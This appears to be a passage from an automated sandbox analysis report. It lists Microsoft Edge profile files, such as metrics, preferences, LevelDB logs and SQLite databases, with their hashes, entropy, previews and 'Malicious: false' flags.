Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674858D8-8BC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.047504320172024106
Encrypted:	false
SSDEEP:	192:FEN0m5tm+nOAUpYC0JPi6VBKP7+HfgHXzWIrMEYTwghBMNsb+zRQcD/OZXXn8y0d:ON0UtFg0N4YphqPVfoXX08T2RGOD
MD5:	78F32AB2A1A7E2AAD05E0F88B7B9C053
SHA1:	035E7D723E2AD278B0D3DC452FD36DF03D7823D7
SHA-256:	B4C44311E915B1091E126C4EFE24AB978D08821BF33502A4DAF56454CBA5F306
SHA-512:	0C7EF3A4266557320E8956297C70C9212A0313C94F33A91AD66D4A3B4EE90EE933BC4F11043B60C3DE9FE86139ECC1A745A9A8D67C134FA38D0D3089EB186C76
Malicious:	false
Preview:	...@..@...@.....C.].....@................j...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".chruqk20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ ...2..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674858DA-117C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.49955284387166243
Encrypted:	false
SSDEEP:	3072:A5KBbFdMMv0WV12A/ThPkcN9XczKhUfJn5k3Eqalz6mBg1HFQAtY:zBbXgA/TVkcN+2A5k3Eqalz6mBaHdtY
MD5:	6DD7D51966B8CDCBBCE5C7B9BC662046
SHA1:	D092FF640DB314C5879DDA2F530B7B70988E560F
SHA-256:	87E85C6B779AA835CC625560F56ED8B8D4CA7A4F6A0EC19DE485F41B710182EC
SHA-512:	A4C112040A393EA4EF3E73372648B71B28C7B42505F6D30C9B04D6CD8C910E2D75AFE145589202594787A06B9B8DF2A97D0E026D725C26524F4983BCCFBDE55E
Malicious:	false
Preview:	...@..@...@.....C.].....@...................(...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".chruqk20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\018f3b88-44c7-406a-af79-9dc9c8b60143.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567672381962875
Encrypted:	false
SSDEEP:	768:f7rwuYWPgKf3S8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6Xd2srwrGp9tuL:f7rwuYWPgKf3Su1ja7t2Fkto
MD5:	32D99AC70950709CDA7FC308A35529E5
SHA1:	19671BF37570187491B5DB9658F20D32308F738B
SHA-256:	1D0064DB4BD0B69EE05F9C58F89A7F004AC872043E72789E0B4F5AE12C28B75E
SHA-512:	AF427A1D88A58273E6DAB270DC9C74027A9DFF845021C70832043AB83AF171523B1F2D87E13905465AA63976092FC17903B44164A3EBA36D0908744C65BAB167
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377268186768209","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377268186768209","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0d51027c-aa19-42fb-93f7-a4328b97c3d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561471439307662
Encrypted:	false
SSDEEP:	768:fWdwjw7pLGLPyYWPgKfqS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVb+wXdZsrwkXUlG:fWdwj8cPyYWPgKfqSu1jaK+wtZFkXUuh
MD5:	16C1A0550D0E125DABBBA509AA416140
SHA1:	1F589B0C92E0063AE09E5CB875DCA8356478DF05
SHA-256:	A03AF9B482CA3E6464516F3A6004001B3CC54F417F84C1E178B8D9E6329C9B90
SHA-512:	8D1B34C7EB9B5F6CFDABAB31CE84449F7DAA8D41C64609981A40401A46C2B90EFF3E63AA48CEA39B00082F661E5987BBA9807F592806C4501221FA728D689558
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377268186768209","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377268186768209","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\280f51a2-2500-45a7-bec2-55dcc21ab794.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5345e943-2cc8-45c4-a64d-2cb88b7a5a25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17364), with no line terminators
Category:	dropped
Size (bytes):	17368
Entropy (8bit):	5.496804992399685
Encrypted:	false
SSDEEP:	384:styPGQSu4Xsl4otJgTQIEn8WJ4gbG2QwGJmHf:swOXu14oFLbGFbwf
MD5:	C9627E78E4882417613F58728DF4AB57
SHA1:	EBFF071F626CD75F91B71B5F77F7B69BADCB2F2A
SHA-256:	C8852F2A08A40875F2F9F33D8B8797E8A9150489F3D54A9D9E2C2F5304742756
SHA-512:	051D3582470734D6BC92B1A68892FEEF43368FE556F4C4E7C3A7D9BD61F1BE7C05AFEF1A005B14891795E233158A32CACBF29F3056DBEC71158A9944A001E75B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\66134202-f23f-4cde-84be-c9dcaf3b0af6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17364), with no line terminators
Category:	dropped
Size (bytes):	17368
Entropy (8bit):	5.496783845279871
Encrypted:	false
SSDEEP:	384:styPGQSu4Xsl4otJgTQIEn8WJ4gbG2QwFJmHf:swOXu14oFLbGFAwf
MD5:	26407869F8BD114F9BEC6BB8C0E06A61
SHA1:	640DB78EB815397B098AA882B78A79648E455228
SHA-256:	6721F81A82C272388F568608EE31DDD64733CE57174E557D9E3757CC86725C03
SHA-512:	1317E77CFA5A81A54EDBB06233DF795287A720AE402589DA55F787B05A02F8B0C9F5C1373216B88A2A85E6AAD53AB76AD31382E8E27AD31808EAEA577E11AC14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7b210589-b080-4419-819b-b96eac056685.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.274007277059406
Encrypted:	false
SSDEEP:	6:HMRD1cNwi23oH+Tcwtp3hBtB2KLlVM8N+q2PcNwi23oH+Tcwtp3hBWsIFUv:sTZYebp3dFLk8IvLZYebp3eFUv
MD5:	2A8C159AD4934D6F261965EE958B398E
SHA1:	769E51DEB065DD9EC8D12CA7FCEB34C6F72F0366
SHA-256:	40E02C994A6C3369B55135AEB6F781AF06465A1A01FD1B002669B4B3109AEA88
SHA-512:	ABE1F8DB30A76F8472D557A1AD1503327F8325A5A4E9492DA7CFBCCC90A8118EA5E2C43F907EA42EF1D6DD075AE4E9346872F603070C90A9E57653E81D605421
Malicious:	false
Preview:	2024/11/28-06:49:50.559 19e8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/28-06:49:50.594 19e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.0406462120515405
Encrypted:	false
SSDEEP:	24576:k2f76gGkISshcFdmcOAoPENUpifYP+MbI2T:k2fgAmmE
MD5:	1B89EF6F4F83CD5BC76F59AFD2797052
SHA1:	05587F77AA9A9A0C99A806C99521F075662DF122
SHA-256:	7CA02EA4396AF6B37D993228669B159D604FE556304F165D057FF681DAF2A365
SHA-512:	73628CD331EAB26D816B9264A9ED53F57BCA2E687A3F644034D2DC8AB59BD6909C5CA3AF7856A3BE3737246F1D08CCF72F5D460F86F5EF8FB20B71402B46B1D3
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.151248967181077
Encrypted:	false
SSDEEP:	6:HMJkVq2PcNwi23oH+Tcwt9Eh1tIFUt8YMGLgZmw+YMGgSIkwOcNwi23oH+Tcwt9O:sJkVvLZYeb9Eh16FUt8BQg/+BVSI54Zw
MD5:	DEB1BB9F746D6F94D90C4B3A2BADD852
SHA1:	0081B320EB2B89621AA4D605D0EE553E5B384B35
SHA-256:	2A59250EDB31BEC640A22EB1B136578E8B793A2A87CCDD2728D8F9943058C50B
SHA-512:	47918B0111A8EA36EB81703376DEE683E8B8E4315453FAB01942CAE7F4A45A2A9E7DD7350AF273865AC5C2BFF9605AD50B9857AFF29DB231E3257FAF676B940B
Malicious:	false
Preview:	2024/11/28-06:49:52.499 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-06:49:52.501 2024 Recovering log #3.2024/11/28-06:49:52.509 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.151248967181077
Encrypted:	false
SSDEEP:	6:HMJkVq2PcNwi23oH+Tcwt9Eh1tIFUt8YMGLgZmw+YMGgSIkwOcNwi23oH+Tcwt9O:sJkVvLZYeb9Eh16FUt8BQg/+BVSI54Zw
MD5:	DEB1BB9F746D6F94D90C4B3A2BADD852
SHA1:	0081B320EB2B89621AA4D605D0EE553E5B384B35
SHA-256:	2A59250EDB31BEC640A22EB1B136578E8B793A2A87CCDD2728D8F9943058C50B
SHA-512:	47918B0111A8EA36EB81703376DEE683E8B8E4315453FAB01942CAE7F4A45A2A9E7DD7350AF273865AC5C2BFF9605AD50B9857AFF29DB231E3257FAF676B940B
Malicious:	false
Preview:	2024/11/28-06:49:52.499 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-06:49:52.501 2024 Recovering log #3.2024/11/28-06:49:52.509 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.463017812226629
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuRm4l:TouQq3qh7z3bY2LNW9WMcUvBuRBl
MD5:	C87D1EC03611018E2AC2CE2480FABEC3
SHA1:	50E063688971AA8031FDE5BC1FBC38805EB6CB2E
SHA-256:	CA7C6ADE04A13B44049D5D33081239FF5921F96DFDAFEDA5D4AF8379E60F70F1
SHA-512:	666C083DCD770C76C304268260C2BBF01A99A89E7E3350F8C59A021912DCD0DE34C8DA2DE001988E290EBD3436A48ECFEA7D175B16BDDDB1FED65ED154638B6C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.2349318589679585
Encrypted:	false
SSDEEP:	6:HM6s+q2PcNwi23oH+TcwtnG2tMsIFUt8YMBXZmw+YM43VkwOcNwi23oH+TcwtnGg:sd+vLZYebn9GFUt8BBX/+B43V54ZYebB
